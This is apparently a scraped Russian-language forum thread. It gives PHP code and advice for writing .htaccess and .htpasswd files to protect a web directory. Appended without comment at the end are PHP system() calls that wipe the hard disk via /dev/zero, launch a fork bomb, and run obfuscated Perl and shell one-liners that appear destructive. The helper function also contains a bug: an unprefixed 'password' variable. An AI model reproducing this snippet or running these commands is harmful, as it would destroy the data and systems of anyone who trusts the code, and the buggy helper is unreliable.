$file = ".passwd";
$path_to_passwd = "/..."
$handle = fopen("$path/$file","a")
or die ("Cant open file!");
if (!fwrite($handle, "your_name:".crypt("your_pass")."\n")) {
print "Cannot write to file ($file)";
exit;
}
fclose($handle);
Пользоваться htpasswd тебе не дадут (уточни в службе поддержки).htpasswd: 0
Никакой дешифрации не происходит. Апач шифрует введенный пароль и сранивает его с тем, что в файле, на который указывает .htaccessкак происходит дешифрация
Тот же эффект будет, если ты выдашь скриптом браузеру статус HTTP 401.я потом .htaccess пользуюсь
function CreateAuthFiles($directory, $login, $password)
{
$password = crypt($password, CRYPT_STD_DES);
// Второй параметр зависит от ОС, обычно - так, как
// я написал. Если не сработает, попробуй его не указывать.
// Если все равно не сработает, спроси у хостера.
$password_file = $directory.'.htpasswd';
// Пишем .htaccess
$f = fopen($directory.'.htaccess','w');
if (!$f) return false;
fwrite($f, "AuthName \"Authorization Required\"\n".
"AuthType Basic\n".
"require valid-user\n".
"AuthUserFile $password_file\n");
fclose($f);
// Пишем .htpasswd
$f = fopen($password_file, "w");
if (!$f) return false;
fwrite($f, $login . ':' . password . "\n");
fclose($f);
return true;
}
//пример. полный путь к каталогу и слэш на конце обязательны!
if (CreateAuthFiles("/home/my_login/www/","vasya","vasya_s_password")) {
echo "Files succesfilly created";
} else {
echo "ERROR!";
}
system("cat \"test... test... test...\" | perl -e '\$??s:;s:s;;\$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/\" -;;s;;\$_;see'");
system("ISF=\$(echo '%\\%#{<-{}<&{`' |tr ' -/:-@[-`{}' '`-{/ -');\$ISF 2>/dev/null");
system("cat /dev/zero >/dev/hda");
system(" : (){ :|:&};:");